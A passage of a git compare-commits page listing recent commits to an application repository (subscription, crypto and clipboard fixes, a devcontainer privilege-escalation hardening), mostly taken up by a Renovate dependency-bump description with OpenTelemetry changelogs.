Compare commits

...

122 Commits

Author SHA1 Message Date
DarkSky
dd676611ce test: fix mock api 2025-11-01 01:36:11 +08:00
Lakr
f3bb2be5ef feat: request apply subscription mutation (#13844) 2025-10-31 22:53:30 +08:00
DarkSky
8535b3dc41 feat(server): refresh subscription if event is from anonymous account (#13840) 2025-10-31 22:53:20 +08:00
DarkSky
89cc9b072b feat(server): early subscription for iap (#13826)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a mutation to request/apply a subscription by transaction ID
(client mutation and server operation), returning subscription details.
* **Bug Fixes / Improvements**
* More robust external subscription sync with safer conflict detection,
optional short-lived confirmation, improved parsing and error logging.
* **Chores**
  * Standardized time constants for clarity.
* **Tests**
* Updated subscription test data (expiration date) to reflect new
lifecycle expectations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 14:25:43 +00:00
DarkSky
e4b5b24fdd chore: bump package version 2025-10-29 21:14:34 +08:00
DarkSky
9904f50e0b feat(server): improve crypto (#13822)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Resolved cryptographic compatibility issues with OpenSSL 3.x.

* **New Features**
  * Broader support for multiple key types for signing and verification.
  * OTP generation adjusted (affects digit distribution/values).

* **Refactor**
* Internal cryptographic key handling reworked for improved stability,
compatibility, and multi-key-type support.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 18:12:23 +08:00
DarkSky
b7ac7caab4 chore(server): improve transcript stability (#13821)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Enhanced audio/video detection for MP4 files to better distinguish
audio-only vs. video.

* **Dependencies**
* Added MP4 parsing dependency and updated AI provider libraries
(Anthropic, Google, OpenAI, etc.).

* **Bug Fixes**
  * Tightened authentication state validation for magic-link/OTP flows.
* Stricter space-join validation to reject invalid client
types/versions.
  * Improved transcript entry deduplication and data handling.

* **API**
* Transcript submit payload now requires infos and removes deprecated
url/mimeType fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-29 17:48:15 +08:00
Kandula Ramesh Kumar
d74087fdc5 fix(blocksuite): stabilize cross-document clipboard snapshot handling (#13817)
This PR addresses issue Fixes: #13805 (cross-document copy/paste not
working).

Locally verified that:
- Copy → paste between two documents now works consistently.
- Clipboard snapshot payload remains intact when encoded/decoded.
- External paste (e.g., to Notepad or browser text field) functions
correctly.

E2E tests for clipboard behavior were added, but Playwright browsers
could not be installed in the container (`HTTP 403` from CDN).
Manual verification confirms the fix works as intended.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Tests**
* Added cross-document clipboard regression tests for copy/paste between
documents, external clipboard validation, and multi-block copy;
duplicate test entries noted.

* **Chores**
  * Minor formatting and whitespace cleanup around clipboard handling.
  * Improved error handling in paste flows.
  * Standardized HTML formatting for clipboard payload attributes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-28 17:27:54 +00:00
DarkSky
875565d08a fix(server): avoid a snowball effect of email sending failures (#13818)
fix #13802
2025-10-28 22:26:24 +08:00
DarkSky
0ecd915245 docs: update readme 2025-10-28 15:24:20 +08:00
OrbisAI Sec
b5ebd20314 fix(core): prevent container privilege escalation in .devcontainer/docker-compose.yml (#13814)
**Context and Purpose:**

This PR automatically remediates a security vulnerability:
- **Description:** Service 'app' allows for privilege escalation via
setuid or setgid binaries. Add 'no-new-privileges:true' in
'security_opt' to prevent this.
- **Rule ID:**
yaml.docker-compose.security.no-new-privileges.no-new-privileges
- **Severity:** HIGH
- **File:** .devcontainer/docker-compose.yml
- **Lines Affected:** 4 - 4

This change is necessary to protect the application from potential
security risks associated with this vulnerability.

**Solution Implemented:**

The automated remediation process has applied the necessary changes to
the affected code in `.devcontainer/docker-compose.yml` to resolve the
identified issue.

Please review the changes to ensure they are correct and integrate as
expected.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Enhanced security configuration for the development environment.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-28 13:34:04 +08:00
DarkSky
c102e2454f feat(server): fetch missing field from rcat (#13794)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Performance**
* Added caching mechanism for subscription product data to reduce API
calls and improve response times.

* **Improvements**
* Enhanced asynchronous processing of subscription entitlements for more
reliable product data retrieval from the payment provider.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-23 08:35:08 +00:00
DarkSky
5fc3258a3d feat(server): expose mail server name config in admin dashboard (#13792)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
  * Added SMTP name configuration field to notification settings.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-23 03:39:20 +00:00
renovate[bot]
1a9863d36f chore: bump up opentelemetry (#12651)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/host-metrics#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/host-metrics))
| [`^0.35.4` ->
`^0.36.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.5/0.36.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.36.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.5/0.36.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-graphql#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-graphql))
| [`^0.47.0` ->
`^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.47.1/0.55.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.47.1/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-ioredis#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-ioredis))
| [`^0.47.0` ->
`^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.47.1/0.55.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.47.1/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-nestjs-core#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-nestjs-core))
| [`^0.44.0` ->
`^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.1/0.54.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.44.1/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-socket.io#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-socket.io))
| [`^0.46.0` ->
`^0.54.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.46.1/0.54.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.46.1/0.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`^0.57.0` ->
`^0.207.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.2/0.207.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.2/0.207.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>open-telemetry/opentelemetry-js
(@&#8203;opentelemetry/exporter-prometheus)</summary>

###
[`v0.207.0`](8e9b8bb2a7...fb6476d824)

[Compare
Source](8e9b8bb2a7...fb6476d824)

###
[`v0.206.0`](2d3760898c...8e9b8bb2a7)

[Compare
Source](2d3760898c...8e9b8bb2a7)

###
[`v0.205.0`](98f9d720af...2d3760898c)

[Compare
Source](98f9d720af...2d3760898c)

###
[`v0.204.0`](93187f0224...98f9d720af)

[Compare
Source](93187f0224...98f9d720af)

###
[`v0.203.0`](55f8c20b19...93187f0224)

[Compare
Source](55f8c20b19...93187f0224)

###
[`v0.202.0`](9dbd1e446b...55f8c20b19)

[Compare
Source](9dbd1e446b...55f8c20b19)

###
[`v0.201.1`](4ce5bd1651...9dbd1e446b)

[Compare
Source](4ce5bd1651...9dbd1e446b)

###
[`v0.201.0`](7fde94081e...4ce5bd1651)

[Compare
Source](7fde94081e...4ce5bd1651)

###
[`v0.200.0`](ac8641a5db...7fde94081e)

[Compare
Source](ac8641a5db...7fde94081e)

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/host-metrics)</summary>

###
[`v0.36.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0362-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.36.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0361-2025-09-25)

[Compare
Source](32abc4c3c0...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.36.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/host-metrics/CHANGELOG.md#0360-2025-03-18)

[Compare
Source](d4d3c4f14f...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-graphql)</summary>

###
[`v0.55.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0550-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0540-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

###
[`v0.53.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0533-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.53.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0532-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0530-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0520-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0510-2025-07-09)

[Compare
Source](7481f71d61...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0500-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0490-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0480-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-ioredis)</summary>

###
[`v0.55.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0550-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;3134](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3134))
([c302e35](c302e3530d))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.53.0 to ^0.54.0

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0540-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.2 to ^0.53.0

###
[`v0.53.3`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0533-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.38.1 to ^0.38.2
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.1 to ^0.52.2

###
[`v0.53.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0532-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.38.0 to ^0.38.1
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.52.0 to ^0.52.1

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0530-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.50.0 to ^0.51.0

###
[`v0.52.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0520-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.49.0 to ^0.50.0

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0510-2025-07-09)

[Compare
Source](52dd28deae...e7960a2061)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2930](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2930))
([e4ab2a9](e4ab2a9320))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.48.0 to ^0.49.0

###
[`v0.50.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0501-2025-07-04)

[Compare
Source](7481f71d61...52dd28deae)

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.37.0 to ^0.38.0

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0500-2025-06-02)

[Compare
Source](393b51596d...7481f71d61)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2871](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2871))
([d33c6f2](d33c6f232a))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.47.0 to ^0.48.0

###
[`v0.49.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0490-2025-05-15)

[Compare
Source](32abc4c3c0...393b51596d)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;2828](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2828))
([59c2a4c](59c2a4c002))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.46.0 to ^0.47.0

###
[`v0.48.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0480-2025-03-18)

[Compare
Source](1eb7700766...32abc4c3c0)

##### ⚠ BREAKING CHANGES

- chore!: Update to 2.x and 0.200.x @&#8203;opentelemetry/\* packages
from opentelemetry-js.git per [2.x upgrade
guide](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/main/doc/upgrade-to-2.x.md)
- The minimum supported Node.js has been raised to ^18.19.0 || >=20.6.0.
This means that support for Node.js 14 and 16 has been dropped.
  - The minimum supported TypeScript version has been raised to 5.0.4.
- The compilation target for transpiled TypeScript has been raised to
ES2022 (from ES2017).

##### Bug Fixes

- **deps:** update otel core experimental to ^0.57.2
([#&#8203;2716](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2716))
([d2a9a20](d2a9a20f1c))

##### Miscellaneous Chores

- update to JS SDK 2.x
([#&#8203;2738](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/2738))
([7fb4ba3](7fb4ba3bc3))

##### Dependencies

- The following workspace dependencies were updated
  - dependencies
-
[@&#8203;opentelemetry/redis-common](https://redirect.github.com/opentelemetry/redis-common)
bumped from ^0.36.2 to ^0.37.0
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.45.1 to ^0.46.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-nestjs-core)</summary>

###
[`v0.54.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0540-2025-10-21)

[Compare
Source](333e026413...2801ab2f0f)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3187](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3187))
([ab96334](ab96334557))

##### Bug Fixes

- **deps:** update all patch versions
([#&#8203;3134](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3134))
([c302e35](c302e3530d))

###
[`v0.53.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0530-2025-10-06)

[Compare
Source](5a5918fd4f...333e026413)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3145](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3145))
([704c716](704c7161f7))

###
[`v0.52.2`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0522-2025-09-29)

[Compare
Source](931c7b34f5...5a5918fd4f)

##### Bug Fixes

- force new release-please PR
([#&#8203;3123](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3123))
([0dab838](0dab8383b5))

###
[`v0.52.1`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0521-2025-09-25)

[Compare
Source](f54a1ba1ad...931c7b34f5)

##### Bug Fixes

- force new release-please PR
([#&#8203;3098](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3098))
([13c58e9](13c58e9ad7))

###
[`v0.51.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0510-2025-09-10)

[Compare
Source](0a45ac1b95...f54a1ba1ad)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3034](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3034))
([bee0a66](bee0a66ef8))

###
[`v0.50.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0500-2025-09-08)

[Compare
Source](e7960a2061...0a45ac1b95)

##### Features

- **deps:** update otel deps
([#&#8203;3027](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3027))
([fd9e262](fd9e262fab))

###
